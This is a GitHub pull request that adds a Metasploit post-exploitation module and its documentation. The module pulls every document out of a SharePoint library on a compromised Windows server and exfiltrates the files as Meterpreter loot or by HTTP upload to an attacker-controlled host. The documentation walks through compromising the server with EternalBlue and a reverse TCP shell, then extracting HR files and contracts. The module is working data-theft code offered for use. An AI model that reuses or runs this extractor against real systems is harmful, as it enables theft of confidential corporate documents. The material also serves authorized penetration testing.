-
Notifications
You must be signed in to change notification settings - Fork 14.2k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Sharepoint Document Extractor #19966
Open
Vikramvermahsoft
wants to merge
19
commits into
rapid7:master
Choose a base branch
from
Vikramvermahsoft:sharepoint-document-extractor
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
Show all changes
19 commits
Select commit
Hold shift + click to select a range
9e7d230
Add post/windows/gather/sharepoint_document_extractor module
Vikramvermahsoft 7aafdaa
Updated Author Name
Vikramvermahsoft 46a71af
Added Notes section.
Vikramvermahsoft 1236a16
Rubocop and msftidy validation
Vikramvermahsoft 1a3da4f
Updated author
Vikramvermahsoft ca33a59
Additional msftidy validation
Vikramvermahsoft 0ac5bc9
Updated author
Vikramvermahsoft b1cf32a
Added docs
Vikramvermahsoft c26a593
updated docs
Vikramvermahsoft b0a70ac
Update modules/post/windows/gather/sharepoint_document_extractor.rb
Vikramvermahsoft 053354d
Update modules/post/windows/gather/sharepoint_document_extractor.rb
Vikramvermahsoft 43b6486
Update modules/post/windows/gather/sharepoint_document_extractor.rb
Vikramvermahsoft 8ea7240
Update modules/post/windows/gather/sharepoint_document_extractor.rb
Vikramvermahsoft 60bf23f
Address reviewer feedback and RuboCop offenses
Vikramvermahsoft fe34e2e
Removed unnecessary comments
Vikramvermahsoft 359da82
Update modules/post/windows/gather/sharepoint_document_extractor.rb
Vikramvermahsoft 80ec1d2
Resolve uninitialized constant error and maintain RuboCop fixes
Vikramvermahsoft 2751b4c
Merge branch 'sharepoint-document-extractor' of https://github.com/Vi…
Vikramvermahsoft 15d426d
Fixed merge error
Vikramvermahsoft File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
113 changes: 113 additions & 0 deletions
113
documentation/modules/post/windows/gather/sharepoint_document_extractor.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,113 @@ | ||
# SharePoint Document Library Enumerator and Extractor | ||
|
||
This document provides detailed instructions for setting up, verifying, and using the `post/windows/gather/sharepoint_document_extractor` module in Metasploit. It’s designed to help someone troubleshoot the module if it stops functioning with specific links and examples for clarity. | ||
|
||
<!-- ## Vulnerable Application --> | ||
|
||
This module targets Microsoft SharePoint Server installations on Windows systems. It requires a compromised Windows session (e.g., via Meterpreter) with access to SharePoint’s .NET assemblies (`Microsoft.SharePoint.dll`), which are included in a standard SharePoint installation. | ||
|
||
### Setup Instructions | ||
- **Supported Versions:** Tested on SharePoint Server 2016 and 2019. Future versions (e.g., SharePoint Server Subscription Edition) should work if the .NET API remains compatible. | ||
- **Operating System:** Windows Server (e.g., 2016, 2019, 2022). | ||
- **Installation:** | ||
1. **Obtain SharePoint Server:** | ||
- As of 2025, trials are available from Microsoft’s Evaluation Center (https://www.microsoft.com/en-us/evalcenter/). If links break, check the Wayback Machine (https://archive.org). | ||
- Example: SharePoint Server 2016 trial ISO (SHA256: check Microsoft archives if available). | ||
2. **Install on a Windows Server VM:** | ||
- Use VirtualBox or VMware with 8GB RAM and 100GB disk recommended. | ||
- Follow Microsoft’s setup guide: https://learn.microsoft.com/en-us/sharepoint/install/install-sharepoint-server (or archived versions if unavailable). | ||
- Default installation includes required .NET assemblies; no special configuration beyond site setup is needed. | ||
3. **Configure a SharePoint Site:** | ||
- Create a site (e.g., `http://<server_ip>`) via SharePoint Central Administration. | ||
- Add a document library named “Documents” (default) and upload test files (e.g., `test.pdf`, `doc1.docx`, each <10MB). | ||
- **Dependencies:** Requires .NET Framework 4.5+ and SharePoint assemblies (`Microsoft.SharePoint.dll`), standard with SharePoint installs. | ||
|
||
<!-- ## Verification Steps --> | ||
|
||
1. **Install SharePoint:** | ||
- Set up SharePoint Server on a Windows VM as described above. | ||
- Upload test files (e.g., `test.pdf`, `doc1.docx`) to the “Documents” library. | ||
2. **Start `msfconsole`:** | ||
|
||
msfconsole | ||
Load the Module: | ||
|
||
use post/windows/gather/sharepoint_document_extractor | ||
Set Options: | ||
|
||
set SESSION <session_id> # Replace with your session ID from 'sessions -l' | ||
set SITE_URL http://<target_ip> | ||
set LIBRARY Documents | ||
Run the Module: | ||
|
||
run | ||
Expected Result: Files are extracted to loot (Meterpreter) or sent via HTTP: | ||
|
||
[*] Generating SharePoint document extractor payload... | ||
[*] Executing payload on target session 1... | ||
[*] Info: Enumerating:Documents:2 items | ||
[+] Saved test.pdf to /root/.msf4/loot/20250317_123456_test.pdf | ||
[+] Saved doc1.docx to /root/.msf4/loot/20250317_123457_doc1.docx | ||
[*] Post module execution completed | ||
<!-- ## Options --> | ||
SITE_URL | ||
Description: The full URL of the SharePoint site to target (e.g., http://192.168.1.100). | ||
Usage: Must match the target’s SharePoint site exactly, including port if non-standard (e.g., http://192.168.1.100:8080). Use http:// (not https://) unless SSL is configured and accessible from the compromised session. | ||
Default: http://sharepoint.local (update based on your test environment). | ||
LIBRARY | ||
Description: The name of the SharePoint document library to extract files from (e.g., Documents). | ||
Usage: Must match an existing library on the target site. Case-sensitive in some SharePoint versions—verify via the SharePoint web interface. | ||
Default: Documents (common default library name). | ||
EXFIL_METHOD | ||
Description: Specifies the method to exfiltrate files: METERPRETER (stores files as loot) or HTTP (sends files to an attacker-controlled server). | ||
Usage: Set to METERPRETER for local loot storage or HTTP with EXFIL_HOST and EXFIL_PORT for remote transfer. | ||
Default: METERPRETER. | ||
EXFIL_HOST | ||
Description: The IP or hostname of the attacker’s server for HTTP exfiltration (e.g., 192.168.1.101). | ||
Usage: Required if EXFIL_METHOD is HTTP. Must be reachable from the target (e.g., run python3 -m http.server 8080 on Kali). | ||
Default: Empty (not set). | ||
EXFIL_PORT | ||
Description: The port on the EXFIL_HOST for HTTP exfiltration (e.g., 8080). | ||
Usage: Match the port of your HTTP server. Ensure no firewall blocks it on the target network. | ||
Default: 8080. | ||
MAX_SIZE | ||
Description: Maximum file size (in bytes) to exfiltrate (e.g., 10485760 = 10MB). | ||
Usage: Adjust to filter larger files; files exceeding this are skipped with a “SKIP:SizeExceeded” message. | ||
Default: 10485760 (10MB). | ||
<!-- ## Scenarios --> | ||
SharePoint 2016 on Windows Server 2016 with Meterpreter Exfiltration | ||
This scenario simulates extracting sensitive documents from a SharePoint server in a corporate network after gaining a Meterpreter session. | ||
|
||
Steps: | ||
Compromise the Target: | ||
Use an exploit to gain a Meterpreter session: | ||
|
||
msfconsole | ||
use exploit/windows/smb/ms17_010_eternalblue | ||
set RHOSTS 192.168.1.100 | ||
set PAYLOAD windows/meterpreter/reverse_tcp | ||
set LHOST 192.168.1.101 | ||
set LPORT 4444 | ||
exploit | ||
Confirm session: sessions -l (e.g., ID 1). | ||
Load and Configure the Module: | ||
|
||
use post/windows/gather/sharepoint_document_extractor | ||
set SESSION 1 | ||
set SITE_URL http://192.168.1.100 | ||
set LIBRARY Documents | ||
Run the Module: | ||
|
||
run | ||
|
||
Output: | ||
|
||
[*] Generating SharePoint document extractor payload... | ||
[*] Executing payload on target session 1... | ||
[*] Info: Enumerating:Documents:3 items | ||
[+] Saved report.pdf to /root/.msf4/loot/20250317_123456_report.pdf | ||
[+] Saved memo.docx to /root/.msf4/loot/20250317_123457_memo.docx | ||
[*] Post module execution completed | ||
Notes: | ||
Troubleshooting: If files don’t extract, verify SITE_URL is reachable from the target (execute -H -i -f cmd.exe then ping 192.168.1.100). Check Microsoft.SharePoint.dll in C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\<version>\ISAPI\. | ||
Real-World Use: Extracting HR documents or contracts from a corporate SharePoint instance post-compromise. |
185 changes: 185 additions & 0 deletions
185
modules/post/windows/gather/sharepoint_document_extractor.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,185 @@ | ||
# frozen_string_literal: true | ||
Vikramvermahsoft marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
# Gathers documents from a SharePoint library using the .NET API. | ||
# Supports HTTP and Meterpreter exfiltration with size filtering. | ||
# | ||
# Enumerates and extracts documents from a specified SharePoint library using the | ||
# SharePoint .NET API. Runs in an existing Windows session (e.g., Meterpreter or shell) | ||
# on a SharePoint server, supporting HTTP or Meterpreter exfiltration with configurable | ||
# filters for file size and library targeting. Requires SharePoint assemblies access. | ||
class MetasploitModule < Msf::Post | ||
include Msf::Post::File | ||
include Msf::Post::Windows::Powershell | ||
|
||
Rank = NormalRanking | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'SharePoint Document Library Enumerator and Extractor', | ||
'Description' => ' | ||
Enumerates and extracts documents from a specified SharePoint library using the | ||
SharePoint .NET API. Designed to run in an existing Windows session (e.g., Meterpreter) | ||
on a SharePoint server. Supports exfiltration via HTTP or Meterpreter channels, | ||
with configurable filters for file size and library targeting. Requires execution | ||
in a context with access to SharePoint assemblies and appropriate permissions.', | ||
'Author' => ['Vikram Verma'], | ||
'License' => MSF_LICENSE, | ||
'Platform' => 'win', | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Notes' => { | ||
'Stability' => ['crash-safe'], | ||
'Reliability' => ['repeatable-session'], | ||
'SideEffects' => ['network-traffic'] | ||
} | ||
) | ||
) | ||
register_module_options | ||
end | ||
|
||
def register_module_options | ||
register_options(build_options) | ||
end | ||
|
||
def build_options | ||
[ | ||
OptString.new('SITE_URL', [true, 'Full URL of the SharePoint site', 'http://sharepoint.local']), | ||
OptString.new('LIBRARY', [true, 'Target document library name', 'Documents']), | ||
OptEnum.new('EXFIL_METHOD', | ||
[true, 'Exfiltration method (HTTP or METERPRETER)', 'METERPRETER', %w[HTTP METERPRETER]]), | ||
OptString.new('EXFIL_HOST', [false, 'Host for HTTP exfiltration', '']), | ||
OptInt.new('EXFIL_PORT', [false, 'Port for HTTP exfiltration', 8080]), | ||
OptInt.new('MAX_SIZE', [true, 'Max file size to exfiltrate (bytes)', 10_485_760]) # 10MB | ||
] | ||
end | ||
|
||
def check | ||
return Exploit::CheckCode::Safe('Target is not a Windows system') unless session.platform == 'windows' | ||
|
||
Exploit::CheckCode::Appears('Module ready to run on Windows session') | ||
end | ||
|
||
def run | ||
fail_with(Failure::BadConfig, 'No active session available') unless session | ||
|
||
handle_exfiltration_config | ||
execute_payload | ||
end | ||
|
||
def execute_payload | ||
print_status('Generating SharePoint document extractor payload...') | ||
encoded_cmd = encode_script(build_ps_payload) | ||
print_status("Executing payload on target session #{session.sid}...") | ||
output = execute_script(encoded_cmd) | ||
process_output(output) if output | ||
print_status('Check session output manually for results.') unless session.type == 'meterpreter' | ||
end | ||
|
||
def build_ps_payload | ||
<<~PS | ||
try { | ||
Add-Type -TypeDefinition @" | ||
#{build_dotnet_code} | ||
"@ -ReferencedAssemblies "Microsoft.SharePoint.dll","System.Web.dll" -ErrorAction Stop | ||
[SharePointExtractor]::ExtractDocs('#{datastore['SITE_URL']}', '#{datastore['LIBRARY']}', | ||
'#{datastore['EXFIL_HOST']}', #{datastore['EXFIL_PORT']}, #{datastore['MAX_SIZE']}) | ||
} catch { | ||
Write-Output "FATAL:AssemblyLoadError:" + $_.Exception.Message | ||
} | ||
PS | ||
end | ||
|
||
def build_dotnet_code | ||
<<~CSHARP | ||
using Microsoft.SharePoint; | ||
using System; | ||
using System.IO; | ||
using System.Net; | ||
|
||
public class SharePointExtractor { | ||
public static void ExtractDocs(string site_url, string library_name, string exfil_host, int exfil_port, long max_size) { | ||
try { | ||
using (SPSite site = new SPSite(site_url)) { | ||
using (SPWeb web = site.OpenWeb()) { | ||
SPList list = web.Lists[library_name]; | ||
if (list == null) { Console.WriteLine("ERROR:LibraryNotFound:" + library_name); return; } | ||
SPDocumentLibrary library = list as SPDocumentLibrary; | ||
if (library == null) { Console.WriteLine("ERROR:NotADocumentLibrary:" + library_name); return; } | ||
Console.WriteLine("INFO:Enumerating:" + library_name + ":" + library.Items.Count + " items"); | ||
foreach (SPListItem item in library.Items) { | ||
try { | ||
SPFile file = item.File; | ||
if (file.Length > max_size) { Console.WriteLine("SKIP:SizeExceeded:" + file.Name + ":" + file.Length); continue; } | ||
byte[] file_bytes = file.OpenBinary(); | ||
string file_name = file.Name; | ||
string encoded_file_name = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(file_name)); | ||
if (!string.IsNullOrEmpty(exfil_host)) { | ||
using (WebClient client = new WebClient()) { | ||
client.Headers.Add("X-Filename", encoded_file_name); | ||
client.UploadData("http://" + exfil_host + ":" + exfil_port + "/upload", file_bytes); | ||
Console.WriteLine("SUCCESS:HTTP:" + encoded_file_name + ":" + file_bytes.Length); | ||
} | ||
} else { | ||
string b64 = Convert.ToBase64String(file_bytes); | ||
Console.WriteLine("FILE:" + encoded_file_name + ":" + b64); | ||
} | ||
} catch (Exception ex) { | ||
Console.WriteLine("ERROR:FileProcessing:" + item.Name + ":" + ex.Message); | ||
} | ||
} | ||
} | ||
} | ||
} catch (Exception e) { | ||
Console.WriteLine("FATAL:GeneralError:" + e.Message); | ||
} | ||
} | ||
} | ||
CSHARP | ||
end | ||
|
||
def handle_exfiltration_config | ||
method = datastore['EXFIL_METHOD'].upcase | ||
if method == 'METERPRETER' && session.type != 'meterpreter' | ||
fail_with(Failure::BadConfig, | ||
'METERPRETER requires a Meterpreter session') | ||
end | ||
print_status("Exfiltration method: #{method}") | ||
end | ||
|
||
def process_output(output) | ||
return unless output.present? | ||
|
||
output.split("\n").each do |line| | ||
handle_output_line(line) | ||
end | ||
end | ||
|
||
def handle_output_line(line) | ||
case line | ||
when /^FILE:([^:]+):(.*)$/ then save_file(Regexp.last_match(1), Regexp.last_match(2)) | ||
when /^SUCCESS:HTTP:([^:]+):(\d+)$/ then print_http_success(Regexp.last_match(1), Regexp.last_match(2)) | ||
when /^ERROR:(.+)$/ then print_error("Error: #{Regexp.last_match(1)}") | ||
when /^INFO:(.+)$/ then print_status("Info: #{Regexp.last_match(1)}") | ||
when /^SKIP:(.+)$/ then print_warning("Skipped: #{Regexp.last_match(1)}") | ||
when /^FATAL:(.+)$/ then fail_with(Failure::Unknown, "Fatal error: #{Regexp.last_match(1)}") | ||
end | ||
end | ||
|
||
def print_http_success(encoded_file_name, bytes) | ||
file_name = Rex::Text.decode_base64(encoded_file_name) | ||
print_good("Exfiltrated #{file_name} via HTTP (#{bytes} bytes)") | ||
end | ||
|
||
def save_file(encoded_file_name, b64_data) | ||
file_name = Rex::Text.decode_base64(encoded_file_name) | ||
file_path = store_loot('sharepoint.document', 'application/octet-stream', session, | ||
Rex::Text.decode_base64(b64_data), file_name) | ||
print_good("Saved #{file_name} to #{file_path}") | ||
Vikramvermahsoft marked this conversation as resolved.
Show resolved
Hide resolved
|
||
end | ||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The formatting from about here until the document ends is not exactly well-structured markdown.
The document should follow our standard template. There's an
msftidy_docs.rb
file that should also be run on the docs page to identify common issues. You should also be careful to note that different markdown rendering engines will show things slightly differently. We should ensure that the one used by Metasploit when msfconsole'sinfo -d
command is run will display the content correctly.